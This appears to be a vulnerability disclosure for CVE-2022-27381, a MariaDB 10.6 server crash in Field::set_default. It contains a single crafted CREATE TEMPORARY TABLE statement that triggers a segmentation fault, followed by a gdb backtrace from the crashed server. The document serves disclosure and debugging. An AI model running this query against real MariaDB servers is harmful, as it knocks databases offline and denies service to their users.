Headline
CVE-2022-27381: [MDEV-26061] MariaDB server crash at Field::set_default
An issue in the component Field::set_default of MariaDB Server v10.6 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.
CREATE TEMPORARY TABLE v0 ( v2 TIMESTAMP CHECK ( DEFAULT ( v2 ) IS NOT TRUE ) , v1 TIMESTAMP ) AS SELECT DISTINCT ‘x’ AS v3 WINDOW CHECKSUM AS ( ) ;
Core was generated by `/home/supersix/fuzz/security/MariaDB/install/bin/mysqld --defaults-file=/home/s’.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 __pthread_kill (threadid=<optimized out>, signo=signo@entry=0xb)
at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56
[Current thread is 1 (Thread 0x7f154c17f300 (LWP 1992265))]
gdb-peda$ #0 __pthread_kill (threadid=<optimized out>, signo=signo@entry=0xb)
at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56
#1 0x00005640d742e98f in my_write_core (sig=sig@entry=0xb)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/mysys/stacktrace.c:424
#2 0x00005640d5e9b583 in handle_fatal_signal (sig=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/signal\_handler.cc:344
#3 <signal handler called>
#4 0x00005640d5dfe617 in Field::set_default (this=0x61d0000b9ab8)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/field.cc:2591
#5 0x00005640d5f553a6 in Item_default_value::calculate (this=0x6190000f5240)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:9468
#6 0x00005640d5f55466 in Item_default_value::val_real (this=0x6190000f5240)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:9486
#7 0x00005640d5bbf3bb in Type_handler_real_result::Item_val_bool (
this=<optimized out>, item=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_type.cc:5080
#8 0x00005640d5fa186c in Item_func_truth::val_bool (this=0x6190000f5370)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1165
#9 Item_func_truth::val_int (this=0x6190000f5370)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1188
#10 0x00005640d5966058 in TABLE::verify_constraints (this=0x6190000f4698,
ignore\_failure=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/table.cc:6155
#11 0x00005640d5966bbd in TABLE_LIST::view_check_option (this=0x62b000085498,
thd=<optimized out>, ignore\_failure=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/table.cc:6128
#12 0x00005640d5476284 in select_insert::send_data (this=0x62b0000871f0,
values=...)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_insert.cc:4061
#13 0x00005640d576aafa in select_result_sink::send_data_with_check (
u=0x62b0000823d0, sent=0x0, items=..., this=0x62b0000871f0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.h:5609
#14 select_result_sink::send_data_with_check (sent=0x0, u=0x62b0000823d0,
items=..., this=0x62b0000871f0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.h:5599
#15 JOIN::exec_inner (this=0x62b000087340)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:4592
#16 0x00005640d576bd20 in JOIN::exec (this=0x62b000087340)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:4504
#17 0x00005640d5762338 in mysql_select (thd=0x62b00007e218,
tables=<optimized out>, fields=..., conds=<optimized out>, og\_num=0x0,
order=<optimized out>, group=0x0, having=0x0, proc\_param=0x0,
select\_options=0x20080040b01, result=0x62b0000871f0, unit=0x62b0000823d0,
select\_lex=0x62b000086138)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:4982
#18 0x00005640d5764425 in handle_select (thd=thd@entry=0x62b00007e218,
lex=lex@entry=0x62b000082308, result=result@entry=0x62b0000871f0,
setup\_tables\_done\_option=setup\_tables\_done\_option@entry=0x0)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_select.cc:544
#19 0x00005640d588eb96 in Sql_cmd_create_table_like::execute (
this=<optimized out>, thd=0x62b00007e218)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_table.cc:11746
#20 0x00005640d5591a67 in mysql_execute_command (thd=<optimized out>,
is\_called\_from\_prepared\_stmt=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:5995
#21 0x00005640d55508dd in mysql_parse (thd=0x62b00007e218,
rawbuf=<optimized out>, length=<optimized out>,
parser\_state=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:8028
#22 0x00005640d55862a4 in dispatch_command (command=COM_QUERY,
thd=0x62b00007e218, packet=<optimized out>, packet\_length=<optimized out>,
blocking=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.h:233
#23 0x00005640d558b704 in do_command (thd=0x62b00007e218,
blocking=blocking@entry=0x1)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1406
#24 0x00005640d5a4b14d in do_handle_one_connection (connect=<optimized out>,
put\_in\_cache=<optimized out>)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1410
#25 0x00005640d5a4c807 in handle_one_connection (arg=arg@entry=0x608005322038)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1312
#26 0x00005640d6897ef0 in pfs_spawn_thread (arg=0x617000005118)
at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2201
#27 0x00007f155f9fb609 in start_thread (arg=<optimized out>)
at pthread\_create.c:477
#28 0x00007f155f5cf293 in clone ()
at ../sysdeps/unix/sysv/linux/x86\_64/clone.S:95
gdb-peda$ quit
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